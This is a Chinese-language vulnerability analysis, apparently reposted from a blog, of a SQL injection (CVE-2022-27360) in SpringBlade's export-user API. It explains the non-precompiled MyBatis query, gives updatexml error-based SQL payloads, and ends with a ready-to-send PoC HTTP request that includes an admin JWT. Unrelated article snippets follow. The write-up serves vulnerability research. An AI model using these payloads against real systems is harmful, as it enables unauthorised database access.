SpringBlade CVE-2022-27360 export-user SQL 注入漏洞分析

漏洞描述

SpringBlade是一個基于Spring Cloud和Spring Boot的開發框架,旨在簡化和加速微服務架構的開發過程。它提供了一系列開箱即用的功能和組件,幫助開發人員快速構建高效可靠的微服務應用。該產品/api/blade-user/export-user接口存在SQL注入。

漏洞影響版本

SpringBlade <= v3.2.0

產品項目地址

SpringBlade: SpringBlade 是一個由商業級項目升級優化而來的微服務架構,采用Spring Boot 2.7 、Spring Cloud 2021 等核心技術構建,完全遵循阿里巴巴編碼規范。提供基于React和Vue的兩個前端框架用于快速搭建企業級的SaaS多租戶微服務平臺。icon-default.png?t=N7T8https://gitee.com/smallc/SpringBlade

項目源碼下載

SpringBlade 發行版 - Gitee.comicon-default.png?t=N7T8https://gitee.com/smallc/SpringBlade/releases

漏洞分析

位于包package org.springblade.modules.system.controller;下的UserController

其中有方法 exportUser

該方法引用了QueryWrapper做為sql的查詢條件,其中Map<String, Object> user是我們可控的參數

QueryWrapper使得sql語句變成如下這樣的形式

SELECT * FROM user WHERE key = 'value' AND key = value AND is_deleted = 0

sql語句中where后面的數據 是我們可控的,如此我們嘗試構造如下sql語句

SELECT * FROM `blade_user` WHERE updatexml(1,concat(0x7e,user(),0x7e),1)=1;
SELECT * FROM `blade_user` WHERE 1=updatexml(1,concat(0x7e,user(),0x7e),1);
SELECT * FROM `blade_user` WHERE updatexml(1,concat(0x7e,user(),0x7e),1);

先在本地測試一下

payload可以造成sql注入

?補充! 這里還要考慮到底層的sql語句是否采用了預編譯機制

找尋MyBatis 的 XML 映射文件?exportUser方法

上面的是定義的接口下方是使用xml對接口的實現?。系統采用的${}的方式,這不是預編譯的機制,可以造成sql注入

漏洞環境搭建

{本次踩的坑有點多,不想細說了}

本地項目前后端分離,下載下面鏈接的前后端項目

項目源碼下載

SpringBlade 發行版 - Gitee.comicon-default.png?t=N7T8https://gitee.com/smallc/SpringBlade/releases

后端 配置好mysql redis 直接啟動

前端 在項目中執行兩條命令直接啟動

npm install //下載前端所需包

npm start // 啟動前端項目

項目搭建有問題的,可以看官方參考文檔

Wiki - Gitee.comicon-default.png?t=N7T8https://gitee.com/smallc/SpringBlade/wikis/SpringBlade%E5%BC%80%E5%8F%91%E6%89%8B%E5%86%8C

漏洞復現

打開環境web 登錄頁面

在用戶管理頁面選擇導出數據

burp抓包 增加sql注入payload

sql語句成功執行,漏洞復現成功。

附贈poc

GET /api/blade-user/export-user?blade-auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwidG9rZW5fdHlwZSI6ImFjY2Vzc190b2tlbiIsImRlcHRfaWQiOiIxMTIzNTk4ODEzNzM4Njc1MjAxIiwiYWNjb3VudCI6ImFkbWluIiwiY2xpZW50X2lkIjoic3dvcmQiLCJleHAiOjE3MDkxMDQyMDcsIm5iZiI6MTcwOTEwMDYwN30.-Nniy1hq-gVtymm1MFWgbAuTOjwiMMheMccrXoIeeL4hbpRqMS2Fbsmf7EiJWBwMqSPX_Us4MAPevRdZVauNEQ&account=&realName=&updatexml(1,concat(0x7e,user(),0x7e),1)=1 HTTP/1.1
Host: 192.168.116.128:1888

注意:blade-auth是必要的 ,本次測試時只要admin登錄情況下這串blade-auth就是可用的 貌似生成不夠隨機,這也算是另一個漏洞了。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/717736.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/717736.shtml
英文地址,請注明出處:http://en.pswp.cn/news/717736.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Java - List集合與Array數組的相互轉換

一、List 轉 Array 使用集合轉數組的方法&#xff0c;必須使用集合的 toArray(T[] array)&#xff0c;傳入的是類型完全一樣的數組&#xff0c;大小就是 list.size() public static void main(String[] args) throws Exception {List<String> list new ArrayList<S…

無處不在的智慧:探索嵌入式系統的奇妙

無處不在的智慧&#xff1a;探索嵌入式系統的奇妙 嵌入式系統作為當今科技領域中無處不在的一種技術&#xff0c;其奇妙之處正在逐步被揭示和探索。從智能家居到智能穿戴設備&#xff0c;從工業自動化到醫療健康&#xff0c;嵌入式系統已經深入到我們生活和工作的方方面面&…

分布式ID生成策略-雪花算法Snowflake

分布式ID生成策略-雪花算法Snowflake 一、其他分布式ID策略1.UUID2.數據庫自增與優化2.1 優化1 - 共用id自增表2.2 優化2 - 分段獲取id 3.Reids的incr和incrby 二、雪花算法Snowflake1.雪花算法的定義2.基礎雪花算法源碼解讀3.并發1000測試4.如何設置機房和機器id4.雪花算法時鐘…

【misc | CTF】BUUCTF 二維碼

天命&#xff1a;這題使用到腳本暴力破解壓縮包文件里面的密碼&#xff0c;還是比較有意思的 一開始是一個二維碼&#xff0c;掃碼進去有一個假flag 扔進圖片隱寫工具&#xff0c;啥也沒有&#xff0c;都是同一個二維碼 使用工具&#xff1a;foremost&#xff0c;直接分離圖片&…

【詳識JAVA語言】抽象類和接口

抽象類 抽象類概念 在面向對象的概念中&#xff0c;所有的對象都是通過類來描繪的&#xff0c;但是反過來&#xff0c;并不是所有的類都是用來描繪對象的&#xff0c;如果 一個類中沒有包含足夠的信息來描繪一個具體的對象&#xff0c;這樣的類就是抽象類。 比如&#xff1a;…

水印相機小程序源碼

水印相機前端源碼&#xff0c;本程序無需后端&#xff0c;前端直接導入即可&#xff0c;沒有添加流量主功能&#xff0c;大家開通后自行添加 源碼搜索&#xff1a;源碼軟件庫 注意小程序后臺的隱私權限設置&#xff0c;前端需要授權才可使用 真實時間地址拍照記錄&#xff0c…

Endnote x9 最快方法批量導入.enw格式文件

按照網上看到的一個方法直接選中所有enw批量拖拽到 All references 附件不行啊&#xff0c; 以為只能寫bat腳本方式了 經過一番嘗試&#xff0c;驚人的發現拖到下面這個符號的地方就行了&#xff01;&#xff01;&#xff01; 如果不成功的話&#xff0c;可能&#xff1a; 我…

使用typescript實現引入vue3生命周期函數的基礎知識整理

在Vue 3中&#xff0c;生命周期函數被更改為組合式API&#xff0c;并且不再使用官方命名的生命周期鉤子函數。不過&#xff0c;我們仍然可以模擬類似的功能&#xff0c;使用onBeforeMount、onMounted、onBeforeUpdate、onUpdated、onBeforeUnmount、onUnmounted等組合式API。 …

淺談vue的自定義指令

Vue 的自定義指令是一種強大的工具&#xff0c;允許你為 DOM 元素添加自定義行為。自定義指令可以通過 Vue 的 Vue.directive() 全局 API 或組件內的 directives 選項來定義。 下面是如何使用 Vue 的自定義指令的基本步驟&#xff1a; 全局注冊自定義指令 Vue.directive(foc…

js 手寫深拷貝方法

文章目錄 一、深拷貝實現代碼二、代碼講解2.1 obj.constructor(obj)2.2 防止循環引用手寫一個深拷貝是我們常見的面試題,在實現過程中我們需要考慮的類型很多,包括對象、數組、函數、日期等。以下就是深拷貝實現邏輯 一、深拷貝實現代碼 const originalObject = {string: H…

藍橋杯復習之差分

題目&#xff1a;空調 題目鏈接&#xff1a;https://www.acwing.com/problem/content/description/4265/ 思路&#xff1a; 對希望溫度與實際溫度做差&#xff0c;再對這個做差數組做差分。我們的每次操作等價于在差分數組中選一個數加一或者選兩個數一個加一&#xff0c…

【小沐學GIS】QGIS安裝和入門使用

文章目錄 1、簡介2、下載和安裝3、使用3.1 XYZ Tiles3.2 WMS / WMTS3.3 GeoJson文件加載 4、在線資源結語 1、簡介 QGIS是一款開源地理信息系統。該項目于2002年5月誕生&#xff0c;同年6月作為SourceForge上的一個項目建立。QGIS目前運行在大多數Unix平臺、Windows和macOS上。…

奧爾特曼被曝身價超過140億,但并未在OpenAI持股

作為OpenAI CEO和新一輪AI熱潮代表人物&#xff0c;奧爾特曼&#xff08;Sam Altman&#xff09;卻沒有在OpenAI公司賺到“身價”。 鈦媒體AGI 3月3日消息&#xff0c;據彭博億萬富翁指數最新數據顯示&#xff0c;今年38歲的奧爾特曼最新身價&#xff08;凈收入&#xff09;至少…

什么是區塊鏈粉塵攻擊?

文章目錄 一、什么是粉塵&#xff1f;二、什么是粉塵攻擊&#xff1f;三、粉塵攻擊的危害3.1 釣魚式攻擊3.2 揭露該錢包和其所有者的詳細信息3.3 造成鏈上網絡擁堵 四、可能使用粉塵交易的人群五、如何避免粉塵攻擊&#xff1f; 一、什么是粉塵&#xff1f; 粉塵的含義為小額資…

無窮積分例子

以下幾個題容易出錯&#xff0c;特意記錄一下。 判斷積分式的斂散性 ∫ ? ∞ ∞ 1 x 2 e 1 x d x \int _{-\infty } ^ {\infty} \frac{1}{x^2} e ^{\frac{1}{x}} dx ∫?∞∞?x21?ex1?dx 要注意瑕點0的處理。無窮積分&#xff0c;一般將積分域按瑕點拆分并分別積分。 判斷…

阿里面試,有點焦慮。。

恭喜發現寶藏&#xff01;搜索公眾號【TechGuide】回復公司名&#xff0c;解鎖更多新鮮好文和互聯網大廠的筆經面經&#xff0c;目前已更新至美團、字節… 作者TechGuide【全網同名】 聊聊春招 春招來了&#xff0c;有些24屆校招生可能還在做最后的努力&#xff0c;有些25屆的…

國辰智企MES系統優化企業管理,讓生產制造更高效

在制造業的舞臺上&#xff0c;MES制造執行管理系統如同一位出色的導演&#xff0c;將生產過程中的各個場景巧妙地連接起來&#xff0c;演繹出一場場精彩的制造盛宴。讓我們一同走進MES在制造業的具體應用場景&#xff0c;感受它帶來的變革與創新。 在生產計劃與調度的場景中&am…

[數據結構]棧

1.棧的概念及結構 棧&#xff1a;一種特殊的線性表&#xff0c;其只允許在固定的一端進行插入和刪除元素操作。進行數據插入和刪除操作的一端稱為棧頂&#xff0c;另一端稱為棧底。棧中的數據元素遵守后進先出的原則。 壓棧&#xff1a;棧的插入操作叫做進棧/壓棧/入棧&#…

[ai筆記14] 周鴻祎的ai公開課筆記1

歡迎來到文思源想的ai空間&#xff0c;這是技術老兵重學ai以及成長思考的第14篇分享&#xff01; 本周二月的最后一周&#xff0c;并不是閑下來了&#xff0c;反而是開始進行一些更多的深入實踐&#xff0c;關于gpt的主體架構、關于prompt&#xff0c;同時也看了不少書和直播&…

行業獨角獸—Matic Network來臨,成就百萬富翁的項目!

Matic Network由印度Bangalore及日本超級節點打造 &#xff0c;獨創保險倉九倉共振循環模式。 Mtc于2023年初完成了700萬美元的種子輪融資&#xff0c; Paradigm領投&#xff0c;a16z、Variant、Solana Ventures和Jump Crypto參投&#xff0c;旨在全方位布局Web3.0的去中心化生…